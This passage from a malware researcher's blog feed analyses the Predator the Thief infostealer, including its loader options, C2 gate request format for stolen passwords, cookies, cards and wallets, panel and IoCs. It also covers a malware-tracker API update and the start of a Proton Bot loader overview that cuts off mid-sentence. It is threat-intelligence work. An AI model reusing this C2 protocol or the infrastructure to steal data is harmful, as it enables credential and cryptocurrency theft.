height="17"&gt;4&lt;/td&gt;&#10;&lt;td align="left"&gt;LoadPE&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;5&lt;/td&gt;&#10;&lt;td align="left"&gt;LoadLibrary&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;strong&gt;Architecture (argument 3)&lt;/strong&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Value&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;x32 / x64&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;x32 only&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;3&lt;/td&gt;&#10;&lt;td align="left"&gt;x64 only&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;strong&gt;If it's RunPE (argument 7)&lt;/strong&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Value&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;Attrib.exe&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;Cmd.exe&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;3&lt;/td&gt;&#10;&lt;td align="left"&gt;Audiodg.exe&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;strong&gt;If it's CreateProcess / ShellExecuteA / LoadLibrary (argument 7)&lt;/strong&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Value&lt;/td&gt;&#10;&lt;td align="left"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;%PROGRAMDATA%&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;%TEMP%&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;3&lt;/td&gt;&#10;&lt;td align="left"&gt;%APPDATA%&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;The second step - Sending stolen data&lt;/h3&gt;&#10;&lt;strong&gt;Format&lt;/strong&gt;&#10;&lt;pre&gt;/api/gate.get?p1=X&amp;amp;p2=X&amp;amp;p3=X&amp;amp;p4=X&amp;amp;p5=X&amp;amp;p6=X&amp;amp;p7=X&amp;amp;p8=X&amp;amp;p9=X&amp;amp;p10=X&lt;/pre&gt;&#10;&lt;strong&gt;Goal&lt;/strong&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Sending stolen data&lt;/li&gt;&#10;&#9;&lt;li&gt;Also victim telemetry&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;strong&gt;Meaning&lt;/strong&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="85"&gt;&lt;/colgroup&gt; &lt;colgroup width="438"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Args&lt;/td&gt;&#10;&lt;td align="left"&gt;Field&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p1&lt;/td&gt;&#10;&lt;td align="left"&gt;Passwords&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p2&lt;/td&gt;&#10;&lt;td align="left"&gt;Cookies&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p3&lt;/td&gt;&#10;&lt;td align="left"&gt;Credit Cards&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p4&lt;/td&gt;&#10;&lt;td align="left"&gt;Forms&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p5&lt;/td&gt;&#10;&lt;td align="left"&gt;Steam&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p6&lt;/td&gt;&#10;&lt;td align="left"&gt;Wallets&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p7&lt;/td&gt;&#10;&lt;td align="left"&gt;Telegram&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p8&lt;/td&gt;&#10;&lt;td align="left"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p9&lt;/td&gt;&#10;&lt;td align="left"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;p10&lt;/td&gt;&#10;&lt;td align="left"&gt;OS Version (encrypted + encoded)*&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;This is an example of crafted request performed by Predator the thief&#10;&#10;&lt;img class="alignnone size-full wp-image-1090" src="https://fumik0.com/wp-content/uploads/2019/12/predator-request-beacon.webp" alt="Screenshot: Request beacon" width="757" height="229" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Third step - Modular tasks (optional)&lt;/h3&gt;&#10;&lt;pre&gt;/api/Clipper.get&lt;/pre&gt;&#10;Give the dynamic clipper config&#10;&lt;pre&gt;/api/Clipper.post&lt;/pre&gt;&#10;Give the predator clipper payload&#10;&lt;h2&gt;Server side&lt;/h2&gt;&#10;The C&amp;amp;C is nowadays way different than the beginning, it has been reworked with some fancy designed and being able to do some stuff:&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Modulable C&amp;amp;C&lt;/li&gt;&#10;&#9;&lt;li&gt;Classic fancy index with statistics&lt;/li&gt;&#10;&#9;&lt;li&gt;Possibility to configure your panel itself&lt;/li&gt;&#10;&#9;&lt;li&gt;Dynamic grabber configuration&lt;/li&gt;&#10;&#9;&lt;li&gt;Telegram notifications&lt;/li&gt;&#10;&#9;&lt;li&gt;Backups&lt;/li&gt;&#10;&#9;&lt;li&gt;Tags for specific domains&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3&gt;&lt;strong&gt;Index&lt;/strong&gt;&lt;/h3&gt;&#10;The predator panel changed a lot between the v2 and v3. This is currently a fancy theme one, and you can easily spot the whole statistics at first glance. the thing to notice is that the panel is fully in Russian (and I don't know at that time if there is an English one).&#10;&#10;&lt;img class=" size-full wp-image-965 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-panel-index.webp" alt="Screenshot: Predator Panel Index" width="2399" height="976" loading="lazy" decoding="async" /&gt;&#10;&#10;Menu on the left is divide like this (but I'm not really sure about the correct translation)&#10;&#10;Меню (Menu)&#10;Статистика (Stats)&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Логов (Logs)&lt;/li&gt;&#10;&#9;&lt;li&gt;По странам (Country stats)&lt;/li&gt;&#10;&#9;&lt;li&gt;Лоадера (Loader Stats)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Логи (Logs)&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Обычная&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Модули (Modules)&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Загрузить модуль (Download/Upload Module)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Настройки (Settings)&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Настройки сайта (Site settings)&lt;/li&gt;&#10;&#9;&lt;li&gt;Телеграм бот (Telegram Bot)&lt;/li&gt;&#10;&#9;&lt;li&gt;Конфиг (Config)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Граббер (Grabber)&#10;Лоадер (Loader)&#10;Domain Detect&#10;Backup&#10;Поиск (Search)&#10;Конвертация (Converter =&amp;gt; Netscape Json converter)&#10;&lt;h3&gt;&lt;strong&gt;Statistics / Landscape&lt;/strong&gt;&lt;/h3&gt;&#10;&lt;img class=" size-full wp-image-964 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-region.webp" alt="region" width="2416" height="839" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;&lt;strong&gt;Predator Config&lt;/strong&gt;&lt;/h3&gt;&#10;In term of configuring predator, the choices are pretty wild:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The actor is able to tweak its panel, by modifying some details, like the title and detail that made me laugh is you can choose a dark theme.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-1075 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-config-part1.webp" alt="Screenshot: Config part1" width="2111" height="1057" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;There is also another form, the payload config is configured by just ticking options. When done, this will update the request coming from check.get&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-966 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-conf.webp" alt="conf" width="2123" height="630" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;As usual, there is also a telegram bot feature&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-1076 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-telegram-bot.webp" alt="Screenshot: Telegram bot" width="2121" height="217" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Creating Tags for domains seen&lt;/h3&gt;&#10;Small details which were also mentioned in Vidar, but if the actor wants specific attention for bots that have data coming from specific domains, it will create a tag that will help him to filter easily which of them is probably worth to dig into.&#10;&#10;&lt;img class=" size-full wp-image-958 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-domain.webp" alt="domain" width="911" height="445" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;&lt;strong&gt;Loader config&lt;/strong&gt;&lt;/h3&gt;&#10;The loader configuration is by far really interesting in my point of view and even it has been explained totally for its functionalities, I considered it pretty complete and user-friendly for the Threat Actor that is using it.&#10;&#10;&lt;img class=" size-full wp-image-959 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-loader.webp" alt="loader" width="898" height="1166" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;IoCs&lt;/h2&gt;&#10;Hashes for this analysis&#10;&#10;p_pckd.exe - 21ebdc3a58f3d346247b2893d41c80126edabb060759af846273f9c9d0c92a9a&#10;p_upkd.exe - 6e27a2b223ef076d952aaa7c69725c831997898bebcd2d99654f4a1aa3358619&#10;p_clipper.exe - 01ef26b464faf08081fceeeb2cdff7a66ffdbd31072fe47b4eb43c219da287e8&#10;&#10;C&amp;amp;C&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;cadvexmail19mn.world&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Other predator hashes&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;9110e59b6c7ced21e194d37bb4fc14b2&lt;/li&gt;&#10;&#9;&lt;li&gt;51e1924ac4c3f87553e9e9c712348ac8&lt;/li&gt;&#10;&#9;&lt;li&gt;fe6125adb3cc69aa8c97ab31a0e7f5f8&lt;/li&gt;&#10;&#9;&lt;li&gt;02484e00e248da80c897e2261e65d275&lt;/li&gt;&#10;&#9;&lt;li&gt;a86f18fa2d67415ac2d576e1cd5ccad8&lt;/li&gt;&#10;&#9;&lt;li&gt;3861a092245655330f0f1ffec75aca67&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a&gt;ed3893c96decc3aa798be93192413d28&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;Infostealer is not considered as harmful as recent highly mediatize ransomware attacks, but they are enough effective to perform severe damage and they should not be underrated, furthermore, with the use of cryptocurrencies that are more and more common, or something totally normal nowadays, the lack of security hygiene on this subject is awfully insane. that I am not surprised at all to see so much money stolen, so they will be still really active, it's always interesting to keep an eye on this malware family (and also on clippers), whenever there is a new wallet software or trading cryptocurrency software on the list, you know easily what are the possible trends (if you have a lack of knowledge in that area).&#10;&#10;Nowadays, it's easy to see fresh activities in the wild for this info stealer, it could be dropped by important malware campaigns where notorious malware like ISFB Gozi is also used. It's unnecessary (on my side) to speculate about what will be next move with Predator, I have clearly no idea and not interested in that kind of stuff. The thing is the malware scene nowadays is evolving really fast, threat actor teams are moving/switching easily and it could take only hours for new updates and rework of malware by just modifying a piece of code with something already developed on some GitHub repository, or copying code from another malware. Also, the price of the malware has been adjusted, or the support communication is moved to something else.&#10;&#10;Due to this,  I am pretty sure at that time, this current in-depth analysis could be already outdated by some modifications. it's always a risk to take and on my side, I am only interested in the malware itself, the main ideas/facts of the major version are explained and it's plenty sufficient. There is, of course, some topics that I haven't talk like nowadays predator is now being to work as a classic executable file or a DLL, but it was developed some times ago and this subject is now a bit popular. Also, another point that I didn't find any explanation, is that seeing some decrypting process for strings that leads to some encryption algorithm related to Tor.&#10;&#10;This in-depth analysis is also focused on showing that even simple tricks are an efficient way to slow down analysis and it is a good exercise to practice your skills if you want to improve yourself into malware analysis. Also, reverse engineering is not as hard as people could think when the fundamental concepts are assimilated, It's just time, practice and motivation.&#10;&#10;&lt;hr /&gt;&#10;&#10;On my side, I am, as usual, typically irregular into releasing stuff due to some stuff (again...). By the way, updating projects are still one of my main focus, I still have some things that I would love to finish which are not necessarily into malware analysis, it's cool to change topics sometimes.&#10;&#10;&lt;img class=" size-full wp-image-992 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-kob.webp" alt="" width="500" height="281" loading="lazy" decoding="async" /&gt;&#10;&#10;#HappyHunting&#10;</description></item><item><title>Haruko Malware Tracker - 1 Year Anniversary Update</title><link>https://fumik0.com/2019/08/27/haruko-malware-tracker-1-year-anniversary-update/</link><pubDate>Tue, 27 Aug 2019 06:36:50 +0000</pubDate><guid>https://fumik0.com/2019/08/27/haruko-malware-tracker-1-year-anniversary-update/</guid><description>Hi folks,&#10;&#10;It's been one year since the tracker went live (tracker.fumik0.com, now retired), and over this past months, I understood that maintaining this solo project was definitely not an easy task. But, right now, Haruko is step by step a growing place that provides a start for OSINT stuff, learning Reverse malware analysis or helping some blue team people when they have to analyze some samples.&#10;&#10;If I could summarize this malware tracker in one year:&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;2600+ Samples&lt;/li&gt;&#10;&#9;&lt;li&gt;A learning tab with dozen of exercises added&lt;/li&gt;&#10;&#9;&lt;li&gt;A malware tab with 40+ notes for quick tips with some malware implemented&lt;/li&gt;&#10;&#9;&lt;li&gt;An Unlimited API&lt;/li&gt;&#10;&lt;/ol&gt;&#10;... and this everything is free.&#10;&#10;It's pretty obvious that some companies are grabbing some data from my project to resell them after without any credits, or changing the name of the sample by adding tags for other commercial bullshit nonsense to prove they are the first on it, That's all part of the game, that's life.&#10;&#10;At first, this tracker was created due, that a lot of people can even afford to have tools or services, for being able just to search, download, analyzed samples and improve their skills. This is a good start among other Free services to start your OSINT and learning some stuff. If this tracker is helping students, teachers to provide courses, helping Junior Analyst or just curious, that's the most important thing.&#10;&lt;h2&gt;New section - Wallet&lt;/h2&gt;&#10;Since some years right now, cryptocurrencies are now part of the cybercrime landscape, with more and more trends on it. So, For having an idea, which of them are used/abused by threat actors, it could be a good thing to centralized them.&#10;&#10;&lt;img class="alignnone size-full wp-image-839" src="https://fumik0.com/wp-content/uploads/2019/08/haruko-wallet-update.png" alt="Screenshot: Wallet update" width="2485" height="437" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;strong&gt;API&lt;/strong&gt;&#10;&lt;pre&gt;/api/get-wallets&#10;/api/wallet/value&lt;/pre&gt;&#10;&lt;strong&gt;Why the idea of this branch?&lt;/strong&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Plug the API into the step of the transaction, for a better security approach&lt;/li&gt;&#10;&#9;&lt;li&gt;If a wallet is switched by a clipper, the API request is a way to check if, in the DB, this one is already known for some malicious activities and could be blocked easily.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h2&gt;New field - Domain&lt;/h2&gt;&#10;For OSINT research, the field "domain" has been added&#10;&lt;pre&gt;domain&lt;/pre&gt;&#10;On the website&#10;&#10;&lt;img class="alignnone size-full wp-image-838" src="https://fumik0.com/wp-content/uploads/2019/08/haruko-domain-update.webp" alt="Screenshot: Domain update" width="1183" height="213" loading="lazy" decoding="async" /&gt;&#10;&#10;Example in JSON format&#10;&lt;div class="jsonholder ui-resizable"&gt;&#10;&lt;pre class="json" tabindex="-1"&gt;&lt;span id="s-1" class="sBrace structure-1"&gt;{ &lt;i class="fa fa-minus-square-o"&gt;&lt;/i&gt; &lt;/span&gt;&#10; &lt;span id="s-2" class="sObjectK"&gt;"first_seen"&lt;/span&gt;&lt;span id="s-3" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-4" class="sObjectV"&gt;"2018-08-05"&lt;/span&gt;&lt;span id="s-5" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-6" class="sObjectK"&gt;"first_seen_details"&lt;/span&gt;&lt;span id="s-7" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-8" class="sObjectV"&gt;"1533469173"&lt;/span&gt;&lt;span id="s-9" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-10" class="sObjectK"&gt;"hash"&lt;/span&gt;&lt;span id="s-11" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-12" class="sBrace structure-2"&gt;{ &lt;i class="fa fa-minus-square-o"&gt;&lt;/i&gt; &lt;/span&gt;&#10; &lt;span id="s-13" class="sObjectK"&gt;"md5"&lt;/span&gt;&lt;span id="s-14" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-15" class="sObjectV"&gt;"ca92b2a06320fa138989ead470e6b8f5"&lt;/span&gt;&lt;span id="s-16" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-17" class="sObjectK"&gt;"sha1"&lt;/span&gt;&lt;span id="s-18" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-19" class="sObjectV"&gt;"feb71e950f43eac5037def7513f7c4e5eb3d76cc"&lt;/span&gt;&lt;span id="s-20" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-21" class="sObjectK"&gt;"sha256"&lt;/span&gt;&lt;span id="s-22" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-23" class="sObjectV"&gt;"af2c63561aa10a1e444471706a5ea35f951795dff4bb1fc735fdf05c8f30b998"&lt;/span&gt;&#10; &lt;span id="s-24" class="sBrace structure-2"&gt;}&lt;/span&gt;&lt;span id="s-25" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-26" class="sObjectK"&gt;"hash_seen"&lt;/span&gt;&lt;span id="s-27" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-28" class="sObjectV"&gt;1&lt;/span&gt;&lt;span id="s-29" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-30" class="sObjectK"&gt;"id"&lt;/span&gt;&lt;span id="s-31" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-32" class="sObjectV"&gt;"5b66e1f5143e9a34ec8a3752"&lt;/span&gt;&lt;span id="s-33" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-34" class="sObjectK"&gt;"sample"&lt;/span&gt;&lt;span id="s-35" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-36" class="sBrace structure-2"&gt;{ &lt;i class="fa fa-minus-square-o"&gt;&lt;/i&gt; &lt;/span&gt;&#10; &lt;span id="s-37" class="sObjectK"&gt;"name"&lt;/span&gt;&lt;span id="s-38" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-39" class="sObjectV"&gt;"jardata.exe"&lt;/span&gt;&lt;span id="s-40" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-41" class="sObjectK"&gt;"size"&lt;/span&gt;&lt;span id="s-42" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-43" class="sObjectV"&gt;"1102336"&lt;/span&gt;&#10; &lt;span id="s-44" class="sBrace structure-2"&gt;}&lt;/span&gt;&lt;span id="s-45" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-46" class="sObjectK"&gt;"server"&lt;/span&gt;&lt;span id="s-47" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-48" class="sBrace structure-2"&gt;{ &lt;i class="fa fa-minus-square-o"&gt;&lt;/i&gt; &lt;/span&gt;&#10; &lt;span id="s-49" class="sObjectK"&gt;"AS"&lt;/span&gt;&lt;span id="s-50" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-51" class="sObjectV"&gt;"AS16509"&lt;/span&gt;&lt;span id="s-52" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-53" class="sObjectK"&gt;"country"&lt;/span&gt;&lt;span id="s-54" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-55" class="sObjectV"&gt;"us"&lt;/span&gt;&lt;span id="s-56" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span style="color: #ff0000;"&gt;&lt;strong&gt;&lt;span id="s-57" class="sObjectK"&gt;"domain"&lt;/span&gt;&lt;span id="s-58" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-59" class="sObjectV"&gt;"bitbucket.org"&lt;/span&gt;&lt;span id="s-60" class="sComma"&gt;,&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&#10; &lt;span id="s-61" class="sObjectK"&gt;"ip"&lt;/span&gt;&lt;span id="s-62" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-63" class="sObjectV"&gt;"52.216.84.40"&lt;/span&gt;&lt;span id="s-64" class="sComma"&gt;,&lt;/span&gt;&#10; &lt;span id="s-65" class="sObjectK"&gt;"url"&lt;/span&gt;&lt;span id="s-66" class="sColon"&gt;:&lt;/span&gt;&lt;span id="s-67" class="sObjectV"&gt;"bitbucket.org/kent9876/test/downloads/jardata.exe"&lt;/span&gt;&#10; &lt;span id="s-68" class="sBrace structure-2"&gt;}&lt;/span&gt;&#10;&lt;span id="s-69" class="sBrace structure-1"&gt;}&lt;/span&gt;&lt;/pre&gt;&#10;&lt;/div&gt;&#10;&lt;h2&gt;Updates on API&lt;/h2&gt;&#10;I have made some little tweaks about the API possibilities, there is now some new ones available&#10;&lt;pre&gt;/api/ip/value&#10;/api/domain/value&#10;/api/as/value&#10;/api/country/value&#10;/api/md5/value&#10;/api/sha256/value&lt;/pre&gt;&#10;&lt;h2&gt;What next?&lt;/h2&gt;&#10;I have some other things that I want to release before the end of this year (unrelated to this tracker), but not sure if I will have enough time to complete everything, but yes another content &amp;amp; ideas are coming.&#10;&#10;If you want to participate in this project, contact me.&#10;&#10;Fumi o/&#10;</description></item><item><title>Overview of Proton Bot, another loader in the wild!</title><link>https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/</link><pubDate>Fri, 24 May 2019 12:27:36 +0000</pubDate><guid>https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/</guid><description>Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with "loader" tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made.&#10;&#10;Since a few months, another dedicated loader malware appears from multiple sources with the name of "Proton Bot" and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1.&#10;&#10;Sold 50$ (with C&amp;amp;C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it's worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux (retired tracker page) &amp;amp; Decrux.&#10;&#10;&lt;em&gt;[Disclaimer: This article is not a deep in-depth analysis]&lt;/em&gt;&#10;&lt;h2&gt;Analyzed sample&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;1AF50F81E46C8E8D49C44CB2765DD71A [Packed] (tracker entry retired)&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://www.virustotal.com/#/file/43a9d0ebdd41f21f8252ddb4576c7577478a14083aadeb48bff7331e49ec1580/detection"&gt;4C422E9D3331BD3F1BB785A1A4035BBD&lt;/a&gt; [Unpacked]&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Something that I am finally glad by reversing this malware is that I'm not in pain for unpacking a VM protected sample. By far this is the "only one" that I've analyzed from this developer this is not using Themida, VMprotect or Enigma Protector.&#10;&#10;So seeing finally a clean PE is some kind of heaven.&#10;&lt;h2&gt;Behavior&lt;/h2&gt;&#10;When the malware is launched, it's retrieving the full path of the executed module by calling &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getmodulefilenamea"&gt;GetModuleFilename&lt;/a&gt;, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name &amp;amp; repository hardcoded into the code that are obviously obfuscated and encrypted.&#10;&#10;&lt;em&gt;This call is an alternative to &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-getcommandlinea"&gt;GetCommandLine&lt;/a&gt; on this case.&lt;/em&gt;&#10;&#10;&lt;img class="alignnone wp-image-753" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-compare-path.webp" alt="ComparePath" width="748" height="66" loading="lazy" decoding="async" /&gt;&#10;&#10;On this screenshot above, &lt;span&gt;&lt;strong&gt;EDI&lt;/strong&gt;&lt;/span&gt; contains the value of the payload executed at the current time and &lt;span&gt;&lt;strong&gt;EAX&lt;/strong&gt;&lt;/span&gt;, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis...&#10;&#10;Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it's finally achieved and executed with a simple &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea"&gt;ShellExecuteA&lt;/a&gt; call.&#10;&#10;&lt;img class="alignnone size-full wp-image-757" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-tasks.webp" alt="Tasks" width="1058" height="212" loading="lazy" decoding="async" /&gt;&#10;&#10;With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions :&#10;&#10;&lt;em&gt;&lt;strong&gt;If paths are different&lt;/strong&gt;&lt;/em&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Making an HTTP Request on "http://iplogger.org/1i237a" for grabbing the Bot IP&lt;/li&gt;&#10;&#9;&lt;li&gt;Creating a folder &amp;amp; copying the payload with &lt;strong&gt;an unusual way&lt;/strong&gt; that I will explain later.&lt;/li&gt;&#10;&#9;&lt;li&gt;Executing proton bot again in the correct folder with &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa"&gt;CreateProcessA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;Exiting the current module&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;em&gt;&lt;strong&gt;if paths are identical&lt;/strong&gt;&lt;/em&gt;&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;two threads are created for specific purposes&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;one for the loader&lt;/li&gt;&#10;&#9;&lt;li&gt;the other for the clipper&#10;&#10;&lt;img class="alignnone size-full wp-image-766" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-threads.webp" alt="Threads" width="507" height="152" loading="lazy" decoding="async" /&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li&gt;At that point, all interactions between the bot and the C&amp;amp;C will always be starting with this format 